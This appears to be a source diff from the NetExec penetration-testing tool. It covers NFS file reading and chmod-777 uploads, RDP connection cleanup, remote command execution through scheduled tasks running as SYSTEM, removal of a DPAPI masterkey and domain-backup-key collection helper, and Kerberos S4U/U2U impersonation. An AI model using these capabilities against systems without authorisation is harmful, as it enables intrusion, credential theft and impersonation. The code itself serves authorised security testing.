if "resfail" in res and res["status"] == NFS3ERR_NOENT:
self.logger.fail(f"Unknown path: {self.args.cat!r}")
return
elif "resfail" in res:
self.logger.fail(f"Error on looking up path '{sub_path}': {NFSSTAT3[res['status']]}")
return
curr_fh = res["resok"]["object"]["data"]
# If file then break and only display file
if res["resok"]["obj_attributes"]["attributes"]["type"] == NF3REG:
is_file = True
break
# Update the UID and GID for the file/dir
self.update_auth(curr_fh)
if not is_file:
self.logger.fail(f"Path '{self.args.cat}' is not a file!")
return
buf = BytesIO()
# Handle files over the default chunk size of 1024 * 1024
offset = 0
eof = False
while not eof:
file_data = self.nfs3.read(curr_fh, offset, auth=self.auth)
if "resfail" in file_data:
self.logger.fail(f"Failed to retrieve data for '{self.args.cat}': {NFSSTAT3[file_data['status']]}")
return
else:
# Get the data and append it to the total file data
data = file_data["resok"]["data"]
eof = file_data["resok"]["eof"]
# Update the offset to read the next chunk
offset += len(data)
# Write the file data to the local file
buf.write(data)
try:
for line in buf.getvalue().decode().splitlines():
self.logger.highlight(line)
except UnicodeDecodeError as e:
self.logger.fail(f"File is not in UTF-8: {e}")
def print_directory(self, content, path):
"""
Highlight log the content of the directory provided by a READDIRPLUS call.
@@ -727,7 +879,10 @@ class nfs(connection):
read_perm, write_perm, exec_perm = self.get_permissions(item["name_handle"]["handle"]["data"])
perms = f"{is_dir}{'r' if read_perm else '-'}{'w' if write_perm else '-'}{'x' if exec_perm else '-'}"
file_size = convert_size(item["name_attributes"]["attributes"]["size"])
self.logger.highlight(f"{uid:<11}{perms:<7}{file_size:<14}{path.rstrip('/') + '/' + item['name'].decode()}")
try:
self.logger.highlight(f"{uid:<11}{perms:<7}{file_size:<14}{path.rstrip('/') + '/' + item['name'].decode()}")
except UnicodeDecodeError:
self.logger.highlight(f"{uid:<11}{perms:<7}{file_size:<14}{path.rstrip('/') + '/' + item['name'].decode('CP437')}")
def format_directory(self, raw_directory):
"""Convert the chained directory entries to a list of the entries"""
+115 -5
View File
@@ -1,8 +1,9 @@
from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String
from sqlalchemy import Boolean, Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, UniqueConstraint, String, func, select
from sqlalchemy.dialects.sqlite import Insert # used for upsert
from sqlalchemy.orm import declarative_base
from nxc.database import BaseDB
from nxc.logger import nxc_logger
Base = declarative_base()
@@ -32,9 +33,12 @@ class database(BaseDB):
ip = Column(String)
hostname = Column(String)
port = Column(Integer)
nfs_version = Column(String)
root_escape = Column(Boolean)
__table_args__ = (
PrimaryKeyConstraint("id"),
UniqueConstraint("ip"),
)
class LoggedInRelation(Base):
@@ -52,12 +56,17 @@ class database(BaseDB):
class Share(Base):
__tablename__ = "shares"
id = Column(Integer)
lir_id = Column(Integer)
data = Column(String)
host = Column(String)
read_perm = Column(Boolean)
write_perm = Column(Boolean)
exec_perm = Column(Boolean)
storage = Column(String)
share = Column(String)
access = Column(String)
__table_args__ = (
PrimaryKeyConstraint("id"),
ForeignKeyConstraint(["lir_id"], ["loggedin_relations.id"]),
UniqueConstraint("host", "share"),
)
@staticmethod
@@ -69,3 +78,104 @@ class database(BaseDB):
self.HostsTable = self.reflect_table(self.Host)
self.LoggedinRelationsTable = self.reflect_table(self.LoggedInRelation)
self.SharesTable = self.reflect_table(self.Share)
def get_hosts(self, filter_term=None, domain=None):
"""Return hosts from the database."""
q = select(self.HostsTable)
results = self.db_execute(q).all()
nxc_logger.debug(f"NFS hosts() - results: {results}")
return results
def add_host(self, ip, hostname, port, nfs_version, root_escape):
"""Check if this host has already been added to the database, if not, add it in."""
hosts = []
updated_ids = []
q = select(self.HostsTable).filter(self.HostsTable.c.ip == ip)
results = self.db_execute(q).all()
# create new host
if not results:
new_host = {
"ip": ip,
"hostname": hostname,
"port": port,
"nfs_version": str(nfs_version),
"root_escape": root_escape
}
hosts = [new_host]
# update existing hosts data
else:
for host in results:
host_data = host._asdict()
# only update column if it is being passed in
if ip is not None:
host_data["ip"] = ip
if hostname is not None:
host_data["hostname"] = hostname
if port is not None:
host_data["port"] = port
if nfs_version is not None:
host_data["nfs_version"] = str(nfs_version)
if root_escape is not None:
host_data["root_escape"] = root_escape
# only add host to be updated if it has changed
if host_data not in hosts:
hosts.append(host_data)
updated_ids.append(host_data["id"])
nxc_logger.debug(f"Update Hosts: {hosts}")
q = Insert(self.HostsTable) # .returning(self.HostsTable.c.id)
# TODO: find a way to abstract this away to a single Upsert call
q = Insert(self.HostsTable) # .returning(self.HostsTable.c.id)
update_columns = {col.name: col for col in q.excluded if col.name not in "id"}
q = q.on_conflict_do_update(index_elements=["ip"], set_=update_columns)
self.db_execute(q, hosts) # .scalar()
# we only return updated IDs for now - when RETURNING clause is allowed we can return inserted
if updated_ids:
nxc_logger.debug(f"add_host() - Host IDs Updated: {updated_ids}")
return updated_ids
def add_share(self, host, permission, storage, share, access):
"""Check if this share is already in the DB, if not add it."""
read_perm, write_perm, exec_perm = permission
used, _, total = storage
storage_str = f"{used} / {total}"
access_str = ", ".join(access) if access else ""
new_share = {
"host": host,
"read_perm": read_perm,
"write_perm": write_perm,
"exec_perm": exec_perm,
"storage": storage_str,
"share": share,
"access": access_str,
}
self.db_execute(
Insert(self.SharesTable).on_conflict_do_nothing(),
new_share,
)
def get_shares(self, filter_term=None):
"""Return shares from the database, optionally filtered by host or share path."""
if self.is_share_valid(filter_term):
q = select(self.SharesTable).filter(self.SharesTable.c.id == filter_term)
elif filter_term:
like_term = func.lower(f"%{filter_term}%")
q = select(self.SharesTable).filter(
self.SharesTable.c.host.like(like_term) | self.SharesTable.c.share.like(like_term)
)
else:
q = select(self.SharesTable)
return self.db_execute(q).all()
def is_share_valid(self, share_id):
"""Check if this share ID is valid."""
q = select(self.SharesTable).filter(self.SharesTable.c.id == share_id)
results = self.db_execute(q).all()
nxc_logger.debug(f"is_share_valid(shareID={share_id}) => {len(results) > 0}")
return len(results) > 0
+140 -1
View File
@@ -1,4 +1,4 @@
from nxc.nxcdb import DatabaseNavigator, print_help
from nxc.nxcdb import DatabaseNavigator, print_help, print_table, write_csv
class navigator(DatabaseNavigator):
@@ -13,3 +13,142 @@ class navigator(DatabaseNavigator):
YOU CANNOT UNDO THIS COMMAND
"""
print_help(help_string)
def do_hosts(self, line):
filter_term = line.strip()
if filter_term == "":
hosts = self.db.get_hosts()
self.display_hosts(hosts)
else:
hosts = self.db.get_hosts(filter_term=filter_term)
if len(hosts) > 1:
self.display_hosts(hosts)
elif len(hosts) == 1:
data = [["HostID", "IP", "Hostname", "Port", "Supported version", "Root escape"]]
host_id_list = []
print(hosts)
for host in hosts:
host_id_list.append(host[0])
data.append([host[0], host[1], host[2], host[3], host[4], host[5]])
print_table(data, title="Host(s)")
def display_hosts(self, hosts):
data = [["HostID", "IP", "Hostname", "Port", "Supported version", "Root escape"]]
for host in hosts:
host_id = host[0]
ip = host[1]
hostname = host[2]
port = host[3]
supported_version = host[4]
root_escape = host[5]
data.append([host_id, ip, hostname, port, supported_version, root_escape])
print_table(data, title="Hosts")
def display_shares(self, shares):
"""
shares: list of rows (tuples) -> expects columns:
(id, host, read_perm, write_perm, exec_perm, storage, share, access)
"""
data = [["ID", "Host", "R", "W", "X", "Storage", "Share", "Access"]]
for row in shares:
(
sid, host, r, w, x,
storage_str, share_path, access_str
) = row
data.append([
sid, host,
"True" if r else "False",
"True" if w else "False",
"True" if x else "False",
storage_str,
share_path,
access_str,
])
print_table(data, title="Shares")
def do_shares(self, line):
filter_term = line.strip() or None
shares = self.db.get_shares(filter_term=filter_term)
if shares:
self.display_shares(shares)
else:
print("No shares found.")
def help_shares(self):
help_string = """
shares [host_filter]
Lists all shares. Optionally filters by host substring.
Columns:
ID, Host, Read (True/False), Write, Execute, Storage ("used / total"), Share path, Access list
"""
print_help(help_string)
def do_export(self, line):
if not line:
print("[-] not enough arguments")
return
line = line.split()
command = line[0].lower()
if command == "hosts":
if len(line) < 2:
print("[-] invalid arguments, export hosts <filename>")
return
filename = line[2]
hosts = self.db.get_hosts()
csv_header = ("id", "ip", "hostname", "port", "version", "root_escape")
write_csv(filename, csv_header, hosts)
print("[+] NFS hosts exported")
elif command == "shares":
if len(line) < 3:
print("[-] invalid arguments, export shares <simple|detailed> <filename>")
return
filename = line[2]
mode = line[1].lower()
shares = self.db.get_shares()
if mode == "simple":
csv_header = ("id", "host", "read", "write", "exec", "storage", "share", "access")
write_csv(filename, csv_header, shares)
print("[+] NFS shares exported")
elif mode == "detailed":
csv_header = ("id", "host", "version", "read", "write", "exec", "storage", "share", "access")
# hosts columns: (id, ip, hostname, port, nfs_version, root_escape)
version_by_ip = {host[1]: host[4] for host in self.db.get_hosts()}
formatted = []
for row in shares:
entry = (
row[0], # id
row[1], # host
version_by_ip.get(row[1], ""), # nfs_version
row[2], # read
row[3], # write
row[4], # exec
row[5], # storage
row[6], # share
row[7], # access
)
formatted.append(entry)
write_csv(filename, csv_header, formatted)
print("[+] NFS shares exported")
else:
print(f"[-] No such export option: {line[1]}")
else:
print(f"[-] Export command '{command}' is not supported for NFS. Supported: hosts, shares")
def help_export(self):
help_string = """
export hosts <filename>
exports: id, ip, hostname, port, version, root_escape
export shares <simple|detailed> <filename>
simple - exports: id, host, read, write, exec, storage, share, access
detailed - exports: id, host, version, read, write, exec, storage, share, access
"""
print_help(help_string)
+2
View File
@@ -8,7 +8,9 @@ def proto_args(parser, parents):
dgroup.add_argument("--shares", action="store_true", help="List NFS shares")
dgroup.add_argument("--enum-shares", nargs="?", type=int, const=3, help="Authenticate and enumerate exposed shares recursively (default depth: %(const)s)")
dgroup.add_argument("--ls", const="/", nargs="?", metavar="PATH", help="List files in the specified NFS share. Example: --ls /")
dgroup.add_argument("--cat", metavar="FILE", help="Display the contents of an NFS file. Example: --cat /path/to/file")
dgroup.add_argument("--get-file", nargs=2, metavar="FILE", help="Download remote NFS file. Example: --get-file remote_file local_file")
dgroup.add_argument("--put-file", nargs=2, metavar="FILE", help="Upload remote NFS file with chmod 777 permissions to the specified folder. Example: --put-file local_file remote_file")
dgroup.add_argument("--chmod", nargs=2, metavar=("PERMISSIONS", "FILE"), help="Change permissions of remote NFS file. Example: --chmod 777 /path/to/file")
return parser
+55 -31
View File
@@ -1,4 +1,5 @@
import asyncio
import contextlib
from datetime import datetime
from os import getenv
from anyio import Path
@@ -108,7 +109,10 @@ class rdp(connection):
self.logger.display(f"Probably old, doesn't not support HYBRID or HYBRID_EX ({nla})")
else:
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain}) ({nla})")
self.db.add_host(self.host, self.port, self.hostname, self.domain, self.server_os, self.nla)
try:
self.db.add_host(self.host, self.port, self.hostname, self.domain, self.server_os, self.nla)
except Exception as e:
self.logger.debug(f"Error adding host {self.host} into db: {e!s}")
def create_conn_obj(self):
self.target = RDPTarget(ip=self.host, domain="FAKE", port=self.port, timeout=self.args.rdp_timeout)
@@ -124,7 +128,7 @@ class rdp(connection):
target=self.target,
credentials=self.auth,
)
asyncio.run(self.connect_rdp())
asyncio.run(self.connect_rdp_with_cleanup())
except OSError as e:
if "Errno 104" not in str(e):
return False
@@ -188,10 +192,30 @@ class rdp(connection):
pass
async def connect_rdp(self):
"""Connect to the RDP server. Does NOT clean up on exit.
Use this when the caller needs the connection alive after connecting
(screen, nla_screen, execute_shell). For sync callers that only need to
know whether authentication succeeded and want guaranteed cleanup, use
connect_rdp_with_cleanup() instead.
"""
_, err = await asyncio.wait_for(self.conn.connect(), timeout=self.args.rdp_timeout)
if err is not None:
raise err
async def terminate_conn(self):
"""Terminate the RDP connection with a timeout so cleanup doesn't hang."""
if self.conn is not None:
with contextlib.suppress(Exception):
await asyncio.wait_for(self.conn.terminate(), timeout=self.args.rdp_timeout)
async def connect_rdp_with_cleanup(self):
"""Connect to the RDP server and always terminate the connection on exit"""
try:
await self.connect_rdp()
finally:
await self.terminate_conn()
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
try:
lmhash = ""
@@ -227,7 +251,7 @@ class rdp(connection):
stype = asyauthSecret.PASS if not nthash else asyauthSecret.NT
kerberos_target = UniTarget(
self.host,
self.kdcHost,
88,
UniProto.CLIENT_TCP,
timeout=self.args.rdp_timeout,
@@ -245,7 +269,7 @@ class rdp(connection):
stype=stype,
)
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
asyncio.run(self.connect_rdp())
asyncio.run(self.connect_rdp_with_cleanup())
self.admin_privs = True
self.logger.success(
@@ -301,7 +325,7 @@ class rdp(connection):
stype=asyauthSecret.PASS,
)
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
asyncio.run(self.connect_rdp())
asyncio.run(self.connect_rdp_with_cleanup())
self.admin_privs = True
self.logger.success(f"{domain}\\{username}:{process_secret(password)} {self.mark_pwned()}")
@@ -335,7 +359,7 @@ class rdp(connection):
stype=asyauthSecret.NT,
)
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
asyncio.run(self.connect_rdp())
asyncio.run(self.connect_rdp_with_cleanup())
self.admin_privs = True
self.logger.success(f"{self.domain}\\{username}:{process_secret(ntlm_hash)} {self.mark_pwned()}")
@@ -420,7 +444,6 @@ class rdp(connection):
return None
self.logger.debug(f"Executing command: {payload_with_clip}")
# Create a connection
try:
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
await self.connect_rdp()
@@ -525,13 +548,9 @@ class rdp(connection):
self.logger.fail(f"Command execution failed: {e!s}")
return None
finally:
# Always clean up the connection
if self.conn is not None:
self.logger.debug("Terminating RDP connection")
try:
await self.conn.terminate()
except Exception as e:
self.logger.debug(f"Error terminating connection: {e!s}")
# clean up the connection with a timeout to prevent aardwolf deadlock (see https://github.com/skelsec/aardwolf/issues/43)
self.logger.debug("Terminating RDP connection")
await self.terminate_conn()
def execute(self, payload=None, shell_type="cmd"):
"""Execute a command via RDP"""
@@ -566,15 +585,17 @@ class rdp(connection):
try:
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
await self.connect_rdp()
except Exception:
return
await asyncio.sleep(5)
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
filename = await Path(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png").expanduser()
buffer.save(filename, "png")
self.logger.highlight(f"Screenshot saved {filename}")
await asyncio.sleep(5)
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
filename = await Path(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png").expanduser()
buffer.save(filename, "png")
self.logger.highlight(f"Screenshot saved {filename}")
except Exception as e:
self.logger.debug(f"Error taking screenshot: {e!s}")
finally:
await self.terminate_conn()
def screenshot(self):
asyncio.run(self.screen())
@@ -586,19 +607,22 @@ class rdp(connection):
try:
self.iosettings.supported_protocols = proto
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
await self.connect_rdp()
except Exception as e:
self.logger.debug(f"Failed to connect for nla_screenshot with {proto} {e}")
return
await self.terminate_conn()
continue
await asyncio.sleep(int(self.args.screentime))
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
filename = await Path(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png").expanduser()
buffer.save(filename, "png")
self.logger.highlight(f"NLA Screenshot saved {filename}")
return
try:
await asyncio.sleep(int(self.args.screentime))
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
filename = await Path(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png").expanduser()
buffer.save(filename, "png")
self.logger.highlight(f"NLA Screenshot saved {filename}")
return
finally:
await self.terminate_conn()
def nla_screenshot(self):
if not self.nla:
+1 -1
View File
@@ -98,7 +98,7 @@ class database(BaseDB):
return [results]
# filtering nla False because this is the misconfiguration we are looking for
elif filter_term == "nla":
q = q.filter(self.HostsTable.c.nla == False) # noqa: E712
q = q.filter(self.HostsTable.c.nla == False) # ruff: ignore[true-false-comparison]
# if we're filtering by ip/hostname
elif filter_term and filter_term != "":
q = format_host_query(q, filter_term, self.HostsTable)
+559 -455
View File
File diff suppressed because it is too large. Load diff
+37 -68
View File
@@ -1,36 +1,29 @@
import os
import random
from textwrap import dedent
from impacket.dcerpc.v5 import tsch, transport
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from nxc.helpers.misc import gen_random_string
from time import sleep
from datetime import datetime, timedelta
from textwrap import dedent
from time import sleep
from impacket.dcerpc.v5 import tsch
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from nxc.helpers.misc import gen_random_string
from nxc.helpers.rpc import NXCRPCConnection
class TSCH_EXEC:
def __init__(self, target, share_name, username, password, domain, doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None,
def __init__(self, connection, logger=None, tries=None, share=None,
# These options are used by the schtask_as module, except the run_task_as
# that defaults to NT AUTHORITY\System user (SID S-1-5-18) if not specified
run_task_as="S-1-5-18", run_cmd=None, output_filename=None, task_name=None, output_file_location=None):
self.__target = target
self.__username = username
self.__password = password
self.__domain = domain
self.__share_name = share_name
self.__lmhash = ""
self.__nthash = ""
self.__connection = connection
self.logger = logger
self.__tries = tries
self.__share = share
self.__outputBuffer = b""
self.__retOutput = False
self.__aesKey = aesKey
self.__doKerberos = doKerberos
self.__remoteHost = remoteHost
self.__kdcHost = kdcHost
self.__tries = tries
self.__output_filename = None
self.__share = share
self.logger = logger
# Optional args for finetuning the task execution, e.g. used in nxc/modules/schtask_as.py
self.task_name = task_name if task_name else gen_random_string(8)
@@ -39,32 +32,6 @@ class TSCH_EXEC:
self.output_filename = output_filename
self.output_file_location = output_file_location
if hashes is not None:
# This checks to see if we didn't provide the LM Hash
if hashes.find(":") != -1:
self.__lmhash, self.__nthash = hashes.split(":")
else:
self.__nthash = hashes
if self.__password is None:
self.__password = ""
stringbinding = rf"ncacn_np:{self.__target}[\pipe\atsvc]"
self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
self.__rpctransport.setRemoteHost(self.__remoteHost)
if hasattr(self.__rpctransport, "set_credentials"):
# This method exists only for selected protocol sequences.
self.__rpctransport.set_credentials(
self.__username,
self.__password,
self.__domain,
self.__lmhash,
self.__nthash,
self.__aesKey,
)
self.__rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
def execute(self, command, output=False):
self.__retOutput = output
self.execute_handler(command)
@@ -172,20 +139,12 @@ class TSCH_EXEC:
return dedent(xml)
def execute_handler(self, command):
dce = self.__rpctransport.get_dce_rpc()
if self.__doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.set_credentials(*self.__rpctransport.get_credentials())
dce.connect()
dce = NXCRPCConnection(self.__connection).connect(r"\atsvc", tsch.MSRPC_UUID_TSCHS, auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
xml = self.gen_xml(command)
self.logger.debug(f"Task XML: {xml}")
self.logger.info(f"Creating task \\{self.task_name}")
try:
# Windows server 2003 has no MSRPC_UUID_TSCHS, if it bind, it will return abstract_syntax_not_supported
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
dce.bind(tsch.MSRPC_UUID_TSCHS)
tsch.hSchRpcRegisterTask(dce, f"\\{self.task_name}", xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
except Exception as e:
if e.error_code and hex(e.error_code) == "0x80070005":
@@ -196,30 +155,40 @@ class TSCH_EXEC:
self.logger.fail(str(e))
return
try:
done = False
while not done:
self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{self.task_name}")
# Win2025+ (build 26100): RegistrationTrigger does not start the task over remote TSCH.
if self.__connection.server_os_build and int(self.__connection.server_os_build) >= 26100:
try:
tsch.hSchRpcRun(dce, f"\\{self.task_name}")
except tsch.DCERPCSessionError as e:
self.logger.debug(f"hSchRpcRun returned: {e}")
done = False
while not done:
self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{self.task_name}")
try:
resp = tsch.hSchRpcGetLastRunInfo(dce, f"\\{self.task_name}")
if resp["pLastRuntime"]["wYear"] != 0:
done = True
else:
except tsch.DCERPCSessionError as e:
if e.error_code == 0x00041303:
sleep(2)
except tsch.DCERPCSessionError as e:
self.logger.fail(f"Error retrieving task last run info: {e}")
continue
self.logger.fail(f"Error retrieving task last run info: {e}")
break
if resp["pLastRuntime"]["wYear"] != 0:
done = True
else:
sleep(2)
self.logger.info(f"Deleting task \\{self.task_name}")
tsch.hSchRpcDelete(dce, f"\\{self.task_name}")
if self.__retOutput:
smbConnection = self.__rpctransport.get_smb_connection()
tries = 1
# Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing
sleep(0.4)
while True:
try:
self.logger.info(f"Attempting to read {self.__share}\\{self.__output_filename}")
smbConnection.getFile(self.__share, self.__output_filename, self.output_callback)
self.__connection.conn.getFile(self.__share, self.__output_filename, self.output_callback)
break
except Exception as e:
if tries >= self.__tries:
@@ -247,7 +216,7 @@ class TSCH_EXEC:
sleep(1)
try:
self.logger.debug(f"Deleting file {self.__share}\\{self.__output_filename}")
smbConnection.deleteFile(self.__share, self.__output_filename)
self.__connection.conn.deleteFile(self.__share, self.__output_filename)
except Exception:
pass
+22 -8
View File
@@ -3,7 +3,7 @@ import threading
import warnings
from datetime import datetime
from sqlalchemy import Boolean, Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, UniqueConstraint, func, select, delete
from sqlalchemy import Boolean, Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, UniqueConstraint, func, select, delete, and_, or_
from sqlalchemy.dialects.sqlite import Insert # used for upsert
from sqlalchemy.exc import (
SAWarning
@@ -428,6 +428,20 @@ class database(BaseDB):
return self.db_execute(q).all()
def get_credentials_for_users(self, usernames: list[str], cred_type: str | None = None):
"""Return credentials for a list of users from the database."""
if cred_type:
q = select(self.UsersTable).filter(
self.UsersTable.c.credtype == cred_type,
and_(or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames]))
)
else:
q = select(self.UsersTable).filter(
or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames])
)
return self.db_execute(q).all()
def get_credential(self, cred_type, domain, username, password):
q = select(self.UsersTable).filter(
self.UsersTable.c.domain == domain,
@@ -465,18 +479,18 @@ class database(BaseDB):
return [results]
# if we're filtering by domain controllers
elif filter_term == "dc":
q = q.filter(self.HostsTable.c.dc == True) # noqa: E712
q = q.filter(self.HostsTable.c.dc == True) # ruff: ignore[true-false-comparison]
if domain:
q = q.filter(func.lower(self.HostsTable.c.domain) == func.lower(domain))
elif filter_term == "signing":
# generally we want hosts that are vulnerable, so signing disabled
q = q.filter(self.HostsTable.c.signing == False) # noqa: E712
q = q.filter(self.HostsTable.c.signing == False) # ruff: ignore[true-false-comparison]
elif filter_term == "spooler":
q = q.filter(self.HostsTable.c.spooler == True) # noqa: E712
q = q.filter(self.HostsTable.c.spooler == True) # ruff: ignore[true-false-comparison]
elif filter_term == "zerologon":
q = q.filter(self.HostsTable.c.zerologon == True) # noqa: E712
q = q.filter(self.HostsTable.c.zerologon == True) # ruff: ignore[true-false-comparison]
elif filter_term == "petitpotam":
q = q.filter(self.HostsTable.c.petitpotam == True) # noqa: E712
q = q.filter(self.HostsTable.c.petitpotam == True) # ruff: ignore[true-false-comparison]
elif filter_term is not None and filter_term.startswith("domain"):
domain = filter_term.split()[1]
like_term = func.lower(f"%{domain}%")
@@ -725,13 +739,13 @@ class database(BaseDB):
def is_dpapi_secret_valid(self, dpapi_secret_id):
"""
Check if this group ID is valid.
Check if this DPAPI secret ID is valid.
:dpapi_secret_id is a primary id
"""
q = select(self.DpapiSecretsTable).filter(func.lower(self.DpapiSecretsTable.c.id) == dpapi_secret_id)
results = self.db_execute(q).first()
valid = results is not None
nxc_logger.debug(f"is_dpapi_secret_valid(groupID={dpapi_secret_id}) => {valid}")
nxc_logger.debug(f"is_dpapi_secret_valid(dpapi_secret_id={dpapi_secret_id}) => {valid}")
return valid
def add_dpapi_secrets(
-100
View File
@@ -1,100 +0,0 @@
from dploot.lib.target import Target
from dploot.lib.smb import DPLootSMBConnection
from dploot.triage.backupkey import BackupkeyTriage
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
def get_domain_backup_key(context):
pvkbytes = None
try:
results = context.db.get_domain_backupkey(context.domain)
except Exception:
context.logger.fail(
"Your version of nxcdb is not up to date, run nxcdb and create a new workspace: \
'workspace create dpapi' then re-run the dpapi option"
)
return False
if len(results) > 0:
context.logger.success("Loading domain backupkey from nxcdb...")
pvkbytes = results[0][2]
elif context.no_da is None and context.args.local_auth is False:
try:
dc_target = Target.create(
domain=context.domain,
username=context.username,
password=context.password,
target=context.domain, # querying DNS server for domain will return DC
lmhash=context.lmhash,
nthash=context.nthash,
do_kerberos=context.kerberos,
aesKey=context.aesKey,
no_pass=True,
use_kcache=context.use_kcache,
)
dc_conn = DPLootSMBConnection(dc_target)
dc_conn.connect() # Connect to DC
if dc_conn.is_admin():
context.logger.success("User is Domain Administrator, exporting domain backupkey...")
backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn)
backupkey = backupkey_triage.triage_backupkey()
pvkbytes = backupkey.backupkey_v2
context.db.add_domain_backupkey(context.domain, pvkbytes)
else:
context.no_da = False
except Exception as e:
context.logger.fail(f"Could not get domain backupkey: {e}")
return pvkbytes
def collect_masterkeys_from_target(context, target, dploot_connection, user=True, system=True):
masterkeys = []
plaintexts = {}
nthashes = {}
if context.args.mkfile is not None:
try:
masterkeys += parse_masterkey_file(context.args.mkfile)
except Exception as e:
context.logger.fail(str(e))
if user:
plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")}
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")}
# dploot matches user.lower()
if context.password != "":
plaintexts[context.username.lower()] = context.password
if context.nthash != "":
nthashes[context.username.lower()] = context.nthash
# Collect User and Machine masterkeys
try:
context.logger.display("Collecting DPAPI masterkeys, grab a coffee and be patient...")
masterkeys_triage = MasterkeysTriage(
target=target,
conn=dploot_connection,
pvkbytes=context.pvkbytes,
passwords=plaintexts,
nthashes=nthashes,
dpapiSystem={},
)
context.logger.debug(f"Masterkeys Triage: {masterkeys_triage}")
if user:
context.logger.debug("Collecting user masterkeys")
masterkeys += masterkeys_triage.triage_masterkeys()
if system:
context.logger.debug("Collecting machine masterkeys")
masterkeys += masterkeys_triage.triage_system_masterkeys()
except Exception as e:
context.logger.debug(f"Could not get masterkeys: {e}")
return masterkeys
def upgrade_to_dploot_connection(target, connection=None):
conn = None
try:
conn = DPLootSMBConnection(target)
if connection is not None:
conn.smb_session = connection
conn.connect()
except Exception:
return None
return conn
+16 -7
View File
@@ -18,16 +18,17 @@ from impacket.krb5 import constants
from nxc.logger import nxc_logger
def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash, aesKey, kdcHost, impersonate, spn, use_cache, no_s4u2proxy=False):
def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash, aesKey, kdcHost, impersonate, spn, use_cache, no_s4u2proxy=False, u2u=False):
my_tgt = None
if use_cache:
domain, _, tgt, _ = CCache.parseFile(domain, username)
domain, ccache_user, tgt, _ = CCache.parseFile(domain, username)
if tgt is None:
raise
my_tgt = tgt["KDC_REP"]
raise Exception("No TGT found in ccache file")
my_tgt = decoder.decode(tgt["KDC_REP"], asn1Spec=AS_REP())[0]
cipher = tgt["cipher"]
session_key = tgt["sessionKey"]
my_tgt = decoder.decode(my_tgt, asn1Spec=AS_REP())[0]
if not username and ccache_user:
username = ccache_user
if my_tgt is None:
principal = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
nxc_logger.debug("Getting TGT for user")
@@ -118,9 +119,14 @@ def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash
opts.append(constants.KDCOptions.renewable.value)
opts.append(constants.KDCOptions.canonicalize.value)
if u2u:
opts.append(constants.KDCOptions.renewable_ok.value)
opts.append(constants.KDCOptions.enc_tkt_in_skey.value)
req_body["kdc-options"] = constants.encodeFlags(opts)
server_name = Principal(username, type=constants.PrincipalNameType.NT_UNKNOWN.value)
# For U2U, include the domain in the serverName
server_name = Principal(username, domain.upper(), type=constants.PrincipalNameType.NT_UNKNOWN.value) if u2u else Principal(username, type=constants.PrincipalNameType.NT_UNKNOWN.value)
seq_set(req_body, "sname", server_name.components_to_asn1)
req_body["realm"] = str(decoded_tgt["crealm"])
@@ -131,7 +137,10 @@ def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash
req_body["nonce"] = random.getrandbits(31)
seq_set_iter(req_body, "etype", (int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
nxc_logger.info("Requesting S4U2self")
if u2u:
seq_set_iter(req_body, "additional-tickets", (ticket.to_asn1(TicketAsn1()),))
